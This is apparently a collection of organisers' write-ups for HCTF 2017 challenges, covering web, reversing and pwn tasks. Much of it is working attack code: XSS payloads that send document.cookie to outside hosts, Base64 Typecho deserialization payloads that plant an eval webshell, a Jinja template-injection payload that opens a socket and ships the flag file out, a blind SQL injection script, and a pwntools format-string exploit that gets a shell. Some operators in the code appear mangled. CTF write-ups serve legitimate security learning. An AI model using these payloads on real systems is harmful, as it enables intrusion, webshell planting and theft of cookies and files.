除了上面的漏洞以外,messbox也有漏洞,username在首页没有经过任何过滤就显示在了页面内。
但username这里漏洞会有一些问题,因为本身预期的漏洞点并不是这里,所以这里的username经过我框架本身的一点儿过滤,而且长度有限制,所以从这里利用的人会遇到很多非预期的问题。
payload如下,注册名为
&script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://xxx/%27%2bbtoa(document.cookie);//&&/script&
的用户名,并获取token。
http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjb
U05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltR
mphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa
2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=
SQL Silencer
有些假过滤,简化一下贴出注入部分最重要部分的代码
function sql_check($sql){
if($sql & 1 || $sql & 3){
die('We only have 3 users.');
$check = preg_match('/&|_|\+|or|,|and| |\|\||#|-|`|;|"|\'|\*|into|union([\s\S]+)select([\s\S]+)from/i',$sql);
if( $check ){
die("Nonono!");
这道题其实是可以显注的,各位有兴趣的可以先去试试
然而由于是黑名单不全的原因,几乎所有队伍都是用盲注做出来的
当前数据库有2个表,一个user,一个flag
user表里有3条数据,flag表里也有2条数据
所以有队伍在子查询中测试select(flag)from(flag)会返回there is nothing从而怀疑flag表不存在
因为数据库中会报错:ERROR ): Subquery returns more than 1 row
先说盲注吧,由于很多函数都没禁用,盲注的方法有很多,随便贴一个
由于3^1=2 -& Bob ,3^2=1 -& Alice, 3^0 -& Cc
看flag表中有多少行
id=3^(select(count(flag))from(flag))
返回Alice,确定flag表中只有2条数据
跑flag的poc:
id=3^(select(count(1))from(flag)where(binary(flag)&0x30))
写脚本直接跑就能跑出一个目录名,由于flag表里中第一条数据是没啥用的。给做题师傅们带来了些困扰,有些抱歉。
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# author = 'c014'
import requests
s = requests.session()
for i in xrange(100):
for j in range(33,128):
url = "http://sqls.2017.hctf.io/index/index.php?id=3^(select(count(1))from(flag)where(binary(flag)&0x{}))".format((flag+chr(j)).encode('hex'))
r = s.get(url)
if 'Cc' not in r.text:
flag = flag + chr(j-1)
print '[+]flag:'+flag
跑出目录'./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/'后访问/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php发现搭的是typecho
可以拿前段时间的Typecho前台getshell漏洞直接打
有两种方法,一种是直接回显命令执行,另一种是上传shell
由于根目录一般不会有可写权限,所以我准备了一个uploads目录,并且存在.DS_Store泄露
直接打的poc为:
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Post: __typecho_config=YTo3OntzOjQ6Imhvc3QiO3M6OToibG9jYWxob3N0IjtzOjQ6InVzZXIiO3M6NjoieHh4eHh4IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo0OiJwb3J0IjtzOjQ6IjMzMDYiO3M6ODoiZGF0YWJhc2UiO3M6NzoidHlwZWNobyI7czo3OiJhZGFwdGVyIjtPOjEyOiJUeXBlY2hvX0ZlZWQiOjM6e3M6MTk6IgBUeXBlY2hvX0ZlZWQAX3R5cGUiO3M6NzoiUlNTIDIuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6NTp7czo0OiJsaW5rIjtzOjE6IjEiO3M6NToidGl0bGUiO3M6MToiMiI7czo0OiJkYXRlIjtpOjE1MDc3MjAyOTg7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fXM6ODoiY2F0ZWdvcnkiO2E6MTp7aTowO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6LTE7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo3OiJwaHBpbmZvIjt9fX19fXM6MTA6ImRhdGVGb3JtYXQiO047fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=
根据需求修改base64内容即可
上传shell的poc为:
Url: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NDp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMjoiAFR5cGVjaG9fRmVlZABfY2hhcnNldCI7czo1OiJVVEYtOCI7czoxOToiAFR5cGVjaG9fRmVlZABfbGFuZyI7czoyOiJ6aCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjY6ImZpbGVfcHV0X2NvbnRlbnRzKCd1cGxvYWRzL2MwMTQucGhwJywgJzw/cGhwIEBldmFsKCRfUE9TVFtjXSk7Pz4nKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6NzoidHlwZWNobyI7fQ==
Referer: http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php
即可在uploads目录下创建一个名为c014.php的webshell
之后会发现命令执行的函数好像都没有回显,因为我基本上都禁用掉了
这里用php自带的列目录
$c = new DirectoryIterator("glob:///*");
foreach($c as $cc) {
echo $cc,"&/br&";
发现根目录下有个 /flag_is_here 的文件夹
然后读取这个文件夹下的内容,有一个flag文件
echo file_get_contents('/flag_is_here/flag');
这题我一开始是想考显注绕过waf
/union([\s\S]+)select([\s\S]+)from/i
贴一下我预期的显注poc
id=1=2|@c:=(select(1))union(select@c)
读目录的exp为:
id=1=2|@c:=(select(flag)from(flag)where(flag&0x30))union(select@c)
题目是根据魔改的
打开题目F12发现server为
Server: Werkzeug/0.12.2 Python/2.7.12
然后发现输入x就返回x was not found.
差不多可以想到jinja模板注入问题
secret={{2-1}}
返回1 was not found.即可验证
由于也是黑名单过滤,绕过方式看师傅们的姿势
request.args过滤了
空格(%20),回车(%0a),'__','[',']','os','"',"|[a-z]"
直接构造是可以bypass的
空格可以用tab(%09)绕过,|后不允许接a-z可以用%0c,tab等绕过,os可以通过python中exec绕过
但是这题过滤仅限于request.args但是不允许post
简单的办法是可以用request.cookies来绕过
只能读文件的方法要找flag首先需要先到/etc/passwd看到有hctf用户,然后读取/home/hctf/.bash_history,发现flag路径/h3h3_1s_your_flag/flag,在读取flag
随便列几种解题方法
1.不用blask_list里的符号
secret={%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&a=_&payload=import%0s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xxx.xxx.xxx.xxx',2333));s.send(open('/h3h3_1s_your_flag/flag').read());
2.exec构造绕过'os'执行os系统命令
a='import\x0co'+'s;o'+'s.system(\'ls${IFS}/\')';exec(a)
3.通过request.cookies
Url: http://repeater.2017.hctf.io/?secret={{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}}
Cookie: file=/h3h3_1s_your_flag/class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=
Who are you?
进入界面,右上登录,Steam 账号授权。
然后进Home发现有infomation和shop。shop里可以买flag推测但显示余额不足。
购买动作的URL为http://gogogo.2017.hctf.io/shop/3,修改3为4可以发现调试模式没关,源码泄露。
public function buy(Request $request)
$itemId = $request-&route('id');
$item = Item::find($itemId);
$prize = $item-&
$balance = Info::find(Auth::id())-&
if ($balance &= $prize) {
return view('message', ['message' =& $item-&note]);
return view('message', ['message' =& 'Sorry Sir! You don\'t have enough money']);
得知后端框架为 Laravel,账户余额字段名为amount。
infomation页尝试把表单中的name字段改成amount字段并提交,即可充值。
购买拿到flag:hctf{csgo_is_best_fps_game_dA3jf}。
推测没有限定提交表单的参数,可以反推后端代码可能为。
public function update(Request $request)
$user = Info::where('id', Auth::id())-&update($request-&all());
Laravel 使用update方法批量赋值时应在Model中声明fillable白名单或者guard黑名单限制参数,或者使用$request-&only()来限制。
Deserted place
Deserted place
Description
maybe nothing here
flag in admin cookie
Now Score 820.35
Team solved 3
出题思路来自于一个比较特别的叫做SOME的攻击方式,全名Same Origin Method Execution,这是一种2015年被人提出来的攻击方式,可以用来执行同源环境下的任意方法,2年前就有人做了分析。
这里我就不讨论具体的SOME攻击,稍后我会在博客等地方更新具体的分析。
回到题目。
打开题目主要功能有限:
3、修改个人信息(修改个人信息后按回车更新自己的信息)、
4、获取随机一个人的信息,并把它的信息更新给我自己
简单测试可以发现,个人信息页面存在self-xss,但问题就在于怎么能更新admin的个人信息。
仔细回顾站内的各种信息,我们能发现所有的更新个人信息都是通过开启子窗口来实现的。
edit.php里面有一个类似于jsonp的接口可以执行任意函数,简单测试可以发现这里正则匹配了.\w+,这意味这我们只能执行已有的js函数,我们可以看看后台的代码。
$callback = $_GET['callback'];
preg_match("/\w+/i", $callback, $matches);
echo "&script&";
echo $matches[0]."();";
echo "&/script&";
已有的函数一共有3个
function UpdateProfile(){
var username = document.getElementById('user').
var email = document.getElementById('email').
var message = document.getElementById('mess').
window.opener.document.getElementById("email").innerHTML="Email: "+
window.opener.document.getElementById("mess").innerHTML="Message: "+
console.log("Update user profile success...");
window.close();
function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
如果执行UpdateProfile,站内就会把子窗口的内容发送到父窗口中。但是我们还是没办法控制修改的内容。
回顾站内逻辑,当我们点击click me,首先请求/edit.php?callback=RandomProfile,然后跳转至任意http://hctf.com/edit.php?callback=RandomProfile&user=xiaoming,然后页面关闭并,更新信息到当前用户上,假设这里user是我们设定的还有恶意代码的user,那我们就可以修改admin的信息了,但,怎么能让admin打开这个页面呢?
我们可以尝试一个,如果直接打开edit.php?callback=RandomProfile&user=xiaoming
报错了,不是通过open打开的页面,寻找不到页面内的window.opener对象,也就没办法做任何事。
这里我们只有通过SOME,才能操作同源下的父窗口,首先我们得熟悉同源策略,同源策略规定,只有同源下的页面才能相互读写,如果通过windows.open打开的页面是同源的,那么我们就可以通过window.opener对象来操作父子窗口。
而SOME就是基于这种特性,可以执行同源下的任意方法。
最终payload:
vps, 1.html
function start_some() {
window.open("2.html");
location.replace("http://desert.2017.hctf.io/user.php");
setTimeout(start_some(), 1000);
vps, 2.html
function attack() {
location.replace("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=lorexxar");
setTimeout(attack, 2000);
在lorexxar账户的message里添加payload
&img src="\" onerror=window.location.href='http://0xb.pw?cookie='%2bdocument.cookie&
A true man can play a palo one hundred time
Now you have a balance palo.?You can move it left or right.?Just play hundred time on it.?
Description
Get request receive two params
move, 0 or 1
id, just your token
Observation
pole position x
a value depend on x
pole deviate from center ?,
a value depend on ?,
Why you failed
?, or x & a certain value
总而言之就是个玩棒子的游戏(雾。
之所以出现在最后一道请去问关卡规则的设计者。
因为ctf本来不应该出现这种问题,所以我有意把这题设计得简单了一点,但是,ctf真是不讲道理,也导致这道题被少量非预期。
其实就是一个非常非常简单的强化学习的问题,甚至不需要强化学习去解。
DQN网络结构定义
import numpy as np
import tensorflow as tf
import requests
import math
class DeepQNetwork:
def __init__(
n_actions,
n_features,
learning_rate=0.01,
reward_decay=0.9,
e_greedy=0.9,
replace_target_iter=300,
memory_size=500,
batch_size=32,
e_greedy_increment=None,
output_graph=False,
self.n_actions = n_actions
self.n_features = n_features
self.lr = learning_rate
self.gamma = reward_decay
self.epsilon_max = e_greedy
self.replace_target_iter = replace_target_iter
self.memory_size = memory_size
self.batch_size = batch_size
self.epsilon_increment = e_greedy_increment
self.epsilon = 0 if e_greedy_increment is not None else self.epsilon_max
# total learning step
self.learn_step_counter = 0
# initialize zero memory [s, a, r, s_]
self.memory = np.zeros((self.memory_size, n_features * 2 + 2))
# consist of [target_net, evaluate_net]
self._build_net()
t_params = tf.get_collection('target_net_params')
e_params = tf.get_collection('eval_net_params')
self.replace_target_op = [tf.assign(t, e) for t, e in zip(t_params, e_params)]
self.sess = tf.Session()
if output_graph:
# $ tensorboard --logdir=logs
# tf.train.SummaryWriter soon be deprecated, use following
tf.summary.FileWriter("logs/", self.sess.graph)
self.sess.run(tf.global_variables_initializer())
self.cost_his = []
def _build_net(self):
# ------------------ build evaluate_net ------------------
self.s = tf.placeholder(tf.float32, [None, self.n_features], name='s')
self.q_target = tf.placeholder(tf.float32, [None, self.n_actions], name='Q_target')
# for calculating loss
with tf.variable_scope('eval_net'):
# c_names(collections_names) are the collections to store variables
c_names, n_l1, w_initializer, b_initializer = \
['eval_net_params', tf.GraphKeys.GLOBAL_VARIABLES], 10, \
tf.random_normal_initializer(0., 0.3), tf.constant_initializer(0.1)
# config of layers
# first layer. collections is used later when assign to target net
with tf.variable_scope('l1'):
w1 = tf.get_variable('w1', [self.n_features, n_l1], initializer=w_initializer, collections=c_names)
b1 = tf.get_variable('b1', [1, n_l1], initializer=b_initializer, collections=c_names)
l1 = tf.nn.relu(tf.matmul(self.s, w1) + b1)
# second layer. collections is used later when assign to target net
with tf.variable_scope('l2'):
w2 = tf.get_variable('w2', [n_l1, self.n_actions], initializer=w_initializer, collections=c_names)
b2 = tf.get_variable('b2', [1, self.n_actions], initializer=b_initializer, collections=c_names)
self.q_eval = tf.matmul(l1, w2) + b2
with tf.variable_scope('loss'):
self.loss = tf.reduce_mean(tf.squared_difference(self.q_target, self.q_eval))
with tf.variable_scope('train'):
self._train_op = tf.train.RMSPropOptimizer(self.lr).minimize(self.loss)
# ------------------ build target_net ------------------
self.s_ = tf.placeholder(tf.float32, [None, self.n_features], name='s_')
with tf.variable_scope('target_net'):
# c_names(collections_names) are the collections to store variables
c_names = ['target_net_params', tf.GraphKeys.GLOBAL_VARIABLES]
# first layer. collections is used later when assign to target net
with tf.variable_scope('l1'):
w1 = tf.get_variable('w1', [self.n_features, n_l1], initializer=w_initializer, collections=c_names)
b1 = tf.get_variable('b1', [1, n_l1], initializer=b_initializer, collections=c_names)
l1 = tf.nn.relu(tf.matmul(self.s_, w1) + b1)
# second layer. collections is used later when assign to target net
with tf.variable_scope('l2'):
w2 = tf.get_variable('w2', [n_l1, self.n_actions], initializer=w_initializer, collections=c_names)
b2 = tf.get_variable('b2', [1, self.n_actions], initializer=b_initializer, collections=c_names)
self.q_next = tf.matmul(l1, w2) + b2
def store_transition(self, s, a, r, s_):
if not hasattr(self, 'memory_counter'):
self.memory_counter = 0
transition = np.hstack((s, [a, r], s_))
# replace the old memory with new memory
index = self.memory_counter % self.memory_size
self.memory[index, :] = transition
self.memory_counter += 1
def choose_action(self, observation):
# to have batch dimension when feed into tf placeholder
observation = observation[np.newaxis, :]
if np.random.uniform() & self.epsilon:
# forward feed the observation and get q value for every actions
actions_value = self.sess.run(self.q_eval, feed_dict={self.s: observation})
action = np.argmax(actions_value)
action = np.random.randint(0, self.n_actions)
return action
def learn(self):
# check to replace target parameters
if self.learn_step_counter % self.replace_target_iter == 0:
self.sess.run(self.replace_target_op)
print('\ntarget_params_replaced\n')
# sample batch memory from all memory
if self.memory_counter & self.memory_size:
sample_index = np.random.choice(self.memory_size, size=self.batch_size)
sample_index = np.random.choice(self.memory_counter, size=self.batch_size)
batch_memory = self.memory[sample_index, :]
q_next, q_eval = self.sess.run(
[self.q_next, self.q_eval],
feed_dict={
self.s_: batch_memory[:, -self.n_features:],
# fixed params
self.s: batch_memory[:, :self.n_features],
# newest params
# change q_target w.r.t q_eval's action
q_target = q_eval.copy()
batch_index = np.arange(self.batch_size, dtype=np.int32)
eval_act_index = batch_memory[:, self.n_features].astype(int)
reward = batch_memory[:, self.n_features + 1]
q_target[batch_index, eval_act_index] = reward + self.gamma * np.max(q_next, axis=1)
# train eval network
_, self.cost = self.sess.run([self._train_op, self.loss],
feed_dict={self.s: batch_memory[:, :self.n_features],
self.q_target: q_target})
self.cost_his.append(self.cost)
# increasing epsilon
self.epsilon = self.epsilon + self.epsilon_increment if self.epsilon & self.epsilon_max else self.epsilon_max
self.learn_step_counter += 1
x_threshold = 2.4
theta_threshold_radians = 1/15*math.pi
RL = DeepQNetwork(n_actions=2,
n_features=4,
learning_rate=0.01, e_greedy=0.9,
replace_target_iter=100, memory_size=2000,
e_greedy_increment=0.001,)
total_steps = 0
for i_episode in range(100):
json_req = requests.get(url=url, params={'id': token, 'move': 0}).json()
observation = json_req['observation']
while True:
action = RL.choose_action(np.array(observation))
json_req = requests.get(url=url, params={'id': token, 'move': action}).json()
observation_ = json_req['observation']
except KeyError:
print(observation)
done = not json_req['status']
# the smaller theta and closer to center the better
x, x_dot, theta, theta_dot = observation_
r1 = (x_threshold - abs(x))/x_threshold - 0.8
r2 = (theta_threshold_radians - abs(theta))/theta_threshold_radians - 0.5
reward = r1 + r2
RL.store_transition(observation, action, reward, observation_)
ep_r += reward
if total_steps & 1000:
RL.learn()
count = json_req['count']
if count == 100:
print(json_req['flag'])
print('count:', json_req['count'])
observation = observation_
total_steps += 1
0x00 写在前面
  这题一开始是准备TLS+SMC+反调试的,发现放在第一题有些不太合适,就把SMC的调用部分删掉了。
 (其实留下了彩蛋,smc的实现我没有删XD)
  设计思路:
  用TLS检测工具进程和调试器,进入主函数后先检测用户名,通过后检测StartCode(即flag),最后输入'Y'确认CM。
  部分细节:
Win10的TLS在vs17上有点小Bug,只能在Debug模式下跑起来,于是没有选择Release版本,如果给大家带来困扰这里十分抱歉。
用户名注册存在多解,原因是我把进位值舍去了(输入'I'也能通过username验证哦)
StartCode部分先验证长度为35
Step1: 全体 xor 0x76
Step2: [7:14]每个字节先异或0xAD, 再将0b位与0b位互换
Step3: [14:21]每个字节先异或0xBE, 再将0b位与0b位互换
Step4: [21:28]每个字节先异或0xAD, 再将0b位于0b位互换
Step2~4加密前先调用ntdll!NtQueryInformationProcess, 各检查1种标志(7, 30,31)
比较简单的做法直接用ida看了,cuz没有造成任何静态反编译的难度
import random
import hashlib
enc_flag = [30, 21, 2, 16, 13, 72, 72, 111, 221, 221, 72, 100, 99, 215, 46, 44, 254, 106, 109, 42, 242, 111, 154, 77, 139, 75, 30, 30, 14, 14, 14, 14, 14, 14, 11]
dec_flag = [0] * len(enc_flag)
#/////////////////////////////////////////////////
def dec0_f(dec_t, enc_t, num):
for i in range(num):
dec_t[i] = chr(enc_t[i] ^ 0x76)
return dec_t
#/////////////////////////////////////////////////
def dec1_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t[i] & 0x55) && 1
v2 = (enc_t[i] && 1) & 0x55
enc_t[i] = v1 | v2
dec_t[i] = enc_t[i] ^ 0xAD
return dec_t
#/////////////////////////////////////////////////
def dec2_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t[i] & 0x33) && 2
v2 = (enc_t[i] && 2) & 0x33
enc_t[i] = v1 | v2
dec_t[i] = enc_t[i] ^ 0xBE
return dec_t
#/////////////////////////////////////////////////
def dec3_f(dec_t, enc_t, num):
for i in range(num):
v1 = (enc_t[i] & 0xF) && 4
v2 = (enc_t[i] && 4) & 0xF
enc_t[i] = v1 | v2
dec_t[i] = enc_t[i] ^ 0xEF
return dec_t
#/////////////////////////////////////////////////
def dec_f(dec_flag, enc_flag):
for i in range(len(enc_flag)):
dec_flag[i] = enc_flag[i]
dec_flag[21:28] = dec3_f(dec_flag[21:28], enc_flag[21:28], 7)
dec_flag[14:21] = dec2_f(dec_flag[14:21], enc_flag[14:21], 7)
dec_flag[7:14] = dec1_f(dec_flag[7:14], enc_flag[7:14], 7)
dec_flag = dec0_f(dec_flag, dec_flag, 35)
#/////////////////////////////////////////////////
dec_f(dec_flag, enc_flag)
print ''.join(dec_flag)
hctf{&&D55_CH0CK3R_B0o0M!-xxxxxxxx}
ez_crackme
考察对简单解释器的逆向能力。
加密解密过程
for i in range(32):
x=(x+51)%32
box.append(x)
先用如上方式初始化一个box。
用这个box将输入的明文进行乱序。
head = (out[0]&0xe0)&&5
for i in range(31):
out[i] = ((out[i]&0x1f)&&3)+((out[i+1]&0xe0)&&5)
out[31] = ((out[31]&0x1f)&&3) + head
然后用如上方式,将乱序后的结果进行整体循环左移3位。
key = 'deadbeef'.decode('hex')
for i in range(32):
out2.append(out[i]^((ord(key[i%4])+i)&0xff))
然后利用key和下标i对左移后的结果做异或即可。
完整python加密解密脚本:
key = 'deadbeef'.decode('hex')
def encrypt(flag):
x=0#gen box
for i in range(32):
x=(x+51)%32
box.append(x)
for i in range(32):
out.append(ord(flag[box[i]]))
head = (out[0]&0xe0)&&5
for i in range(31):
out[i] = ((out[i]&0x1f)&&3)+((out[i+1]&0xe0)&&5)
out[31] = ((out[31]&0x1f)&&3) + head
for i in range(32):
out2.append(out[i]^((ord(key[i%4])+i)&0xff))
def decrypt(enc_list):
out2=[0]*32
x=0#gen box
for i in range(32):
x=(x+51)%32
box.append(x)
for i in range(32):
out.append(enc_list[i]^(ord(key[i%4])+i))
tail = out[31]&0x7
for i in reversed(range(1,32)):
out[i] = ((out[i]&0xf8)&&3)+((out[i-1]&0x7)&&5)
out[0] = ((out[0]&0xf8)&&3)+(tail&&5)
for i in range(32):
out2[box[i]] = out[i]
''.join(map(chr,out2))
解释器分析
//register
#define _eax 0
#define _ebx 1
#define _ebx2 2
#define _ecx 3
#define _edx 4
#define _esp 5
#define _lf 6
#define _neq 7
#define _t_intp 8
#define _t_chp 9
#define _t_int 10
#define _flag 11
#define _enc 12
#define _key 13
#define _mov (0&&1)
#define _mov32 (1&&1)
#define _lea_ch (2&&1)
#define _lea_int (3&&1)
#define _ldr_int (4&&1)
#define _ldr_ch (5&&1)
#define _add (6&&1)
#define _add_pint (7&&1)
#define _add_pch (8&&1)
#define _my_xor (9&&1)
#define _mod (10&&1)
#define _my_or (11&&1)
#define _my_and (12&&1)
#define _push (13&&1)
#define _pop (14&&1)
#define _shr (15&&1)
#define _shl (16&&1)
#define _ror (17&&1)
#define _cmpl (18&&1)
#define _cmpeq (19&&1)
#define loop (20&&1)
#define code_end (21&&1)
#define rn 0
#define rr 1
定义了一些寄存器以及变量,解释器指令,以及指令后面的变量种类。一个完整的指令由高7位的类型和低1位的变量类型组成。
rr表示op reg,reg,rn表示op reg,num。
用宏写的解释代码
char code[] = {
_lea_ch | rr,_ebx, _flag,
_my_xor | rr,_ecx, _ecx,
_my_xor | rr,_eax,_eax,
_my_xor | rr,_edx,_edx,
_add | rn,_eax, 51,
_mod | rn,_eax, 32,
_lea_ch | rr,_t_chp, _ebx,
_add_pch | rr,_t_chp,_eax,
_ldr_ch | rr,_t_int,_t_chp,
_mov | rr,_edx,_t_int,
_push | rr,_esp,_edx,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
_my_xor | rr,_eax,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0xe0,
_shr | rn,_eax, 5,
_mov | rr,_edx,_eax,
_my_xor | rr,_ecx, _ecx,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0x1f,
_shl | rn,_eax, 3,
_push | rr,_esp,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0xe0,
_shr | rn,_eax, 5,
_pop | rr,_esp,_t_int,
_add | rr,_t_int,_eax,
_push | rr,_esp,_t_int,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 31,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_my_and | rn,_eax, 0x1f,
_shl | rn,_eax, 3,
_add | rr,_eax,_edx,
_push | rr,_esp,_eax,
_my_xor | rr,_ecx, _ecx,
_mov32 | rr,_edx, _key,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -32,
_lea_int | rr,_ebx2,_t_intp,
_ldr_int | rr,_t_int, _ebx2,
_mov | rr,_eax,_t_int,
_push | rr,_esp,_eax,
_mov | rr,_eax,_edx,
_add | rr,_eax, _ecx,
_pop | rr,_esp,_t_int,
_my_xor | rr,_t_int,_eax,
_push | rr,_esp,_t_int,
_ror | rn,_edx, 8,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
_my_xor | rr,_ecx, _ecx,
_my_xor | rr,_edx,_edx,
_lea_ch | rr,_ebx,_enc,
_lea_ch | rr,_t_chp, _ebx,
_add_pch | rr,_t_chp, _ecx,
_ldr_ch | rr,_t_int,_t_chp,
_mov | rr,_eax,_t_int,
_push | rr,_esp,_eax,
_lea_int | rr,_t_intp,_esp,
_add_pint | rn,_t_intp, -33,
_ldr_int | rr,_t_int,_t_intp,
_pop | rr,_esp,_eax,
_push | rr,_esp,_eax,
_cmpeq | rr,_eax,_t_int,
_my_or | rr,_edx, _neq,
_add | rn,_ecx, 1,
_cmpl | rn, _ecx, 32,
其中loop的实现是用记录ip的方式来实现的。
完整的程序代码见github。
作为第一道pwn,出的应该是比较老套简单的东西。
主要考察点有三个。
利用ebp chain和fmt来实现任意地址写。
对__free_hook的了解。
对$0get shell的了解(最后貌似无人使用,因为有其他方法。)
from pwn import *
context.log_level = 'debug'
context.terminal = ['terminator','-x','bash','-c']
bin = ELF('./guestbook')
libc = ELF('./libc.so')
def add(name,phone):
cn.sendline('1')
cn.recvuntil('OK,your guest index is ')
idx = int(cn.recvuntil('\n'))
cn.recvuntil('?')
cn.send(name)
cn.recvuntil('?')
cn.send(phone)
cn.recvuntil('success!\n')
return idx
def see(idx):
cn.sendline('2')
cn.recvuntil('index:')
cn.sendline(str(idx))
cn.recvuntil('the name:')
name = cn.recvuntil('\n')
cn.recvuntil('the phone:')
phone = cn.recvuntil('\n')
cn.recvuntil('===========')
return [name,phone]
def delete(idx):
cn.sendline('3')
cn.recvuntil('index:')
cn.sendline(str(idx))
def fmt(pay):
idx = add(pay,'1111')
delete(idx)
def fmt2(pay):
idx = add(pay,'1111')
gdb.attach(cn)
raw_input()
cn = process('./guestbook')
idx = add('%3$x','0')
libc_base = int(see(idx)[0],16)-71 - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base+0x001B38B0
system = libc_base + libc.symbols['system']
success('libc_base: '+hex(libc_base))
success('free_hook: '+hex(free_hook))
success('system: '+hex(system))
idx = add('%72$x','1')
ebp_2 = int(see(idx)[0],16)# %80$x
ebp_1 = ebp_2-0x20# %72$x
ebp_3 = ebp_2+0x20# %88$x
success('ebp_1: '+hex(ebp_1))
success('ebp_2: '+hex(ebp_2))
success('ebp_3: '+hex(ebp_3))
pay = '%'+str((ebp_3+8)&0xffff)+'c%80$hn'
pay = '%'+str((ebp_3+2)&0xffff)+'c%72$hn'
pay = '%'+str(((ebp_3+8)&0xffff0000)&&16)+'c%80$hn'
pay = '%'+str((ebp_3)&0xffff)+'c%72$hn'
pay = '%'+str(free_hook&0xffff)+'c%88$hn'
pay = '%'+str(system&0xffff)+'c%90$hn'
pay = '%'+str((free_hook&0xffff)+2)+'c%88$hn'
pay = '%'+str((system&0xffff0000)&&16)+'c%90$hn'
idx=add('get shell','$0\x00')
delete(idx)
cn.interactive()
babyprintf
题目只有malloc和一个printf_chk,printf_chk和printf不同的地方有两点:
不能使用$n不连续的打印
在使用%n的时候会做一系列检查
虽然如此,但leak libc地址还是可以的。这个我想大部分人都想到了。
然后重点就是如何使用程序唯一的堆溢出。没有free的问题 可以通过free topchunk解决,然后很多选手在这都使用了unsortedbin attack拿到shell。
